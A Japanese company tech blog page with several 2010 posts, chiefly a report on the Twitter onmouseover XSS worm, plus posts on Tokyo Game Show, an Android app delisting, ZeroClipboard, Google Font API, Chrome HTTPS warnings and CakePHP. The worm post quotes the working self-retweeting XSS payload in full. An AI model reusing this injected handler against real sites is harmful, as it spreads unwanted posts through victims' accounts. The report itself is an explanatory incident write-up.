Techracho

TwitterのXSS脆弱性をついたタイムライン汚染攻撃

このエントリーをはてなブックマーク Share
2010.09.21    Web, セキュリティ, 馬場   タグ: , —    baba   

本日夕方から、TwitterのXSS(Cross Site Scripting:クロスサイトスクリプティング)脆弱性を突いた攻撃がすさまじいペースで広がっています。

私もWebで見る派なので、踏んでしまいました(それによりご迷惑をおかけした方申し訳ありません)。
リツイートされたものを解除しようにもログインできず、公式ReTweetはWebでしか解除できないので困っています。

公式ReTweetの仕様上の問題点も活用した、なかなか鮮やかな手口ですね。

問題のツイートの一例が↓です。

<span class="entry-content">
	<a
		href="http://a.no/@"
		onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()"
		style="color:#000;background:#000;/"
		class="tweet-url web"
		rel="nofollow"
		target="_blank">
	http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/
	</a>
</span>

要するに、マウスオーバーしたら自分と同じものをつぶやくというコードですね。

肝の部分は↓です。

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

httpで始まる文字列はリンクに変換されますが、@の認識の仕方にバグがあったようですね。文字列の最後までがリンクURLと認識され、見事にXSSが成功しています。

それにしても驚くのが、感染の早さ。
技術的なキモは、単純なURL判定アルゴリズムのミスですが、それをTwitter上で実施するだけでここまでのスピードで広がってしまうとは、リアルタイムなTwitterの怖いところです。

Twitterなので、直接的な被害はTwitter上に限られていると思いますが、どのくらい工夫した亜種が流れているのでしょうか?

2010/09/21 22:44追記
該当のXSS脆弱性がひとまず修正されたようですね。
また、原因になっていた公式リツイートは削除されているようです。
なお、ログインする際はブラウザのキャッシュとCookieを消してからのほうが良いです。

基本的にXSSでパスワードが知られてしまうことはありませんが(ブラウザに保存していたら知りません)、メールアドレスの変更→パスワードリセット を使ってパスワードを変更することは理論上可能なので、プロフィールがおかしくなっていないかチェックしておいた方が良いですね。

2010/09/21 23:05追記
Twitter公式情報で、修正がアナウンスされています。
日本時間22:50の時点で、全世界に修正が行き渡ったようです。
http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched

東京ゲームショウ2010に参加しました

このエントリーをはてなブックマーク Share
    Taylor      admin   

初めまして! 初ITブログポストを書かせて頂いてます、テイラーと申します。よろしくお願いします。
ご存知ない方々がいるかもしれないのですが、最近(18日~19日)幕張メッセで東京ゲームショーがありました。他のブログは最新の人気タイトルまたはキャンペーンガールの写真や記事とかを結構書いてると思うのでもうちょっと知られてないとこを紹介したいと思います。それはForum8社が開発したUC-win/roadという社会的にメリットの高い「ゲーム」です。

運転中

運転中

私が試したのは車みたいな機械で、高速道路での車の運転のシミュレーションです。しかもスコア付き!コントロールはとっても難しく少しアクセルを踏むだけであっという間に80キロ以上超えてしまいます。機械自体が揺れたりしてましたが走ってた感覚があまり感じなかったです。

全体的に思ったのが初めて車を運転する前に今自動車学校にあるシミュレーションよりもリアルに練習が出来ます。ただしそれで運転が出来るようになるかと言われたら絶対に出来ないと思います。それ以外にもForum8社は町のビルや道路などの3Dデザインを簡単な操作で作る事も出来リアルタイムにシミュレーションが行える最先端のソフトウエアを開発しています。ただ、こういうのはもう必要ないかもしれない。Googleworldは近いうちにそのようなものを開発するような気がします。だからと言ってForum8社の努力は無駄ではないと思いますのでぜひ頑張って貰いたいです。

MusicFlyがAndroidMarketから消えている問題について

このエントリーをはてなブックマーク Share
2010.09.13    MusicFly      shibachan   

現在AndroidMarketから弊社のMusicFlyが配信停止中となっております。
MusicFlyをお探しになられた方々には、大変ご迷惑をおかけいたしました。
申し訳ございません。

弊社側にしてみても突然の配信停止でして、その理由について問合せをしているのですが
いまだ回答をいただいておりません。

また、これと同時期にJASRAC様から音楽データの取り扱いに関して問合せをいただき
現在、正式に協議中であります。

なお、これらの問題が解決いたしますまで
弊社ホームページなどからアプリをダウンロードできるようにするなどの対策もいたしません。

正式なサービスとして再開できるまで、しばらくお待ちください。

ご理解、ご協力下さいますようお願い申し上げます。

ZeroClipboardを使っていて、IEでのみ「未知の実行時エラーです」が発生する場合

このエントリーをはてなブックマーク Share
2010.09.11    javascript, 馬場   タグ: , , , , —    baba   

Webを作っていて、「このタグをコピー」ボタンはよく作ります。

HTML/JavaScriptのみでは、IE以外のブラウザでクリップボードにコピーする機能は対応できないため、基本的にFlashを使うことになります。
それを簡単に実現できるライブラリが、ZeroClipboardです。

使い方は簡単。$関数を作っておき、onloadのタイミングでZeroClipboard.Clientオブジェクトを初期化・設定するだけです。

<html>
<head>
<script type="text/javascript">
function $(id) { return document.getElementById(id); }
function init() {
  clip = new ZeroClipboard.Client();
  clip.setHandCursor(true);
  clip.setText('コピーして欲しい文字列');
  clip.blue('button', 'container');
}
</script>
</head>
<body onload="init();">
  <div id="container">
    <img id="button" src="button.png" />
  </div>
</body>

ところが、HTMLを間違えると、IEでのみ「未知の実行時エラーです」となり、動作しないことがあります。
(Firefox/Chrome/Operaなどでは動作します)

未知の実行時エラーです

未知の実行時エラーです

これは、glue()の第2引数として渡すcontainer要素が、pタグなどになっている場合に発生します。
ZeroClipboardは、内部的にembedタグを生成し、Flashを埋め込んでいるのですが、HTMLの仕様上pのなかにembedは入りません(詳細はDTD参照)。

そのため、HTMLとしては一見Validに見える以下のHTMLでも、

  <p id="container">
    <img id="button" src="button.png" />
  </p>

glue(’button’, ‘container’); とやった時点(InnerHTMLが編集される)で、IEのみ厳密なチェックが入るため、エラーになります。

対策として、container要素は必ずdivなどのembedを含める要素にしましょう。

また当然ですが、内部で$()関数を使うため、jQueryやprototypeとの併用には注意が必要です。

Google Font APIは誰でも出来る超簡単

このエントリーをはてなブックマーク Share
2010.09.10    馬場   タグ: , , , , , —    baba   

Web業界ではHTML5の採用実績も増えてきました。

動画機能がクローズアップされがちですが、Web開発者として見逃せないのがWebFont機能。
文字で良いのに、フォントが気に入らないというデザイナー様からの意見で、全部画像で作ることが多いはずです。

Google Font APIは、ブラウザごとの違いも吸収してくれる上、使い方もものすごく簡単です。

以下のように、GoogleのCSSを読み込んでfont-familyを指定するだけ。

サンプル

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Reenie+Beanie:regular">
<style>
body {
  font-family: 'Reenie Beanie', serif;
  font-size: 28px;
  font-style: italic;
  text-shadow: 4px 4px 4px #bbb;
}
</style>
</head>
<body>
<p>Hello world! I am peter. Nice to meet you.</p>
</body>
</html>

サンプルを見てみる

Google Font プレビューページで、色々編集しながらフォントを決めることが出来ます。

Google Font APIの仕組み

読み込んでいるCSSを開くと、以下のようになっています。

@font-face {
  font-family: 'Reenie Beanie';
  font-style: normal;
  font-weight: normal;
  src: url('http://themes.googleusercontent.com/font?kit=ljpKc6CdXusL1cnGUSamX_cCQibwlboQP4eCflnqtq0');
  src: local('Reenie Beanie'), url('http://themes.googleusercontent.com/font?kit=ljpKc6CdXusL1cnGUSamX4jjx0o0jr6fNXxPgYh_a8Q&chromeframe') format('truetype');
}

このうち、最後の行がWeb Fontの読み込み。これにより、Firefox/Opera/Chrome/Safariなどではtruetypeフォントを読み込めます。

最後から2番目の行は、User-Agent制御により、IEで開いたときのみCSSに出力されるようです。
このURLを開くと、.eot形式のファイルがダウンロードできます。IEはなんとIE4の時代からWeb Fontをサポートしていたようですが、そんな歴史的理由により.ttfではなく.eotファイルを読ませてあげないと動かないため、Google側で吸収してくれています。

これは便利!

こんな簡単にWeb側からフォントが指定できるのは、かなり便利ですね。
このAPIも、やっていることは要するにUser-Agentを見てttfとeotを振り分けているに過ぎないので、自前でやるのも十分可能です。

ただ、日本語フォントは重いので、サーバ負荷やローディング時間が気になるところです。
Google Codeを見ると、読み込み中の処理を(デフォルトフォントで表示するなど)制御できるJavaScriptも公開されています。

フォントのライセンス問題がクリアできれば、すぐにでも積極活用していきたいですね。

Google Chrome 6でHTTPSの警告が変わっている

このエントリーをはてなブックマーク Share
2010.09.09    馬場   タグ: , , —    baba   

メモリを食うものの、軽快な動作でとても快適なGoogle Chrome。

バージョン6になってから(?)、アドレスバーのHTTPS警告が厳しくなったようです。

今までは、
・フルSSLのページ→緑
・SSLだけど一部SSLじゃないコンテンツが含まれる→黄色
・オレオレ証明書、期限切れ証明書、サーバ名が違う証明書→赤
だったのですが、

新しいChromeでは、証明書が正しくても、NonSSLのスクリプト類が含まれる場合、赤になるようです。
たとえばhttps://twitter.comが偽サイトみたいになってしまいました。

サイト制作者は、信頼を損なわないように気をつけないといけませんね。

正常なSSL

正常なSSL

HTTPの画像が含まれるページ

HTTPの画像が含まれるページ

HTTPのスクリプト類が含まれるページ

HTTPのスクリプト類が含まれるページ


正常なSSLのタイトルバー

正常なSSLのタイトルバー


HTTPの画像が含まれるアドレスバー

HTTPの画像が含まれるアドレスバー


HTTPのスクリプト類が含まれるアドレスバー

HTTPのスクリプト類が含まれるアドレスバー

CakePHP Containableビヘイビア

このエントリーをはてなブックマーク Share
2010.09.02    CakePHP, PHP, 芝原   タグ: , —    shibachan   

Containableビヘイビアをご存知でしょうか?
もし、使用していならばこれを機にぜひ導入してみてください。

公式ページによると

ContainableBehavior は CakePHP のコアの新機能です。このビヘイビアは find を実行するときに関連したモデルを選別したり限定したりするために使用します。コンテイナブル(Containable)は、データベース中の不要なものを削減し、アプリケーションの速度やパフォーマンスを改善します。このクラスを使うと、ユーザに対するデータの検索とフィルタを、美しく一貫した方法で行うこともできます。

と、魅力的に説明されています。

使用方法や動作は、公式ページをみるのが手っ取り早いので割愛しますm(_ _)m
#ググってください

このビヘイビアのメリットはたくさんあるのですが、
特に便利だと思う点が

  • recursiveやbindModelやunbindModelの記述がなくなって、ソースコードがきれいでわかりやすくなる
  • あとで関連を選別できるからモデルの関連をモリモリの最大で書いておくことができる

の2点で、とにかく便利です。

さらに以下のサンプルのようにモデルのrecursiveのデフォルト値を-1としておけば、
何をcontainすればいいのか、しているのかがソースコードからわかりやすくなってお勧めです。

class UserModel extends AppModel {

    public $recursive = -1;
    public $actsAs = array('Containable');
}

COPYRIGHT [C] 2009 BEYOND PERSPECTIVE SOLUTIONS LTD. ALL RIGHTS RESERVED.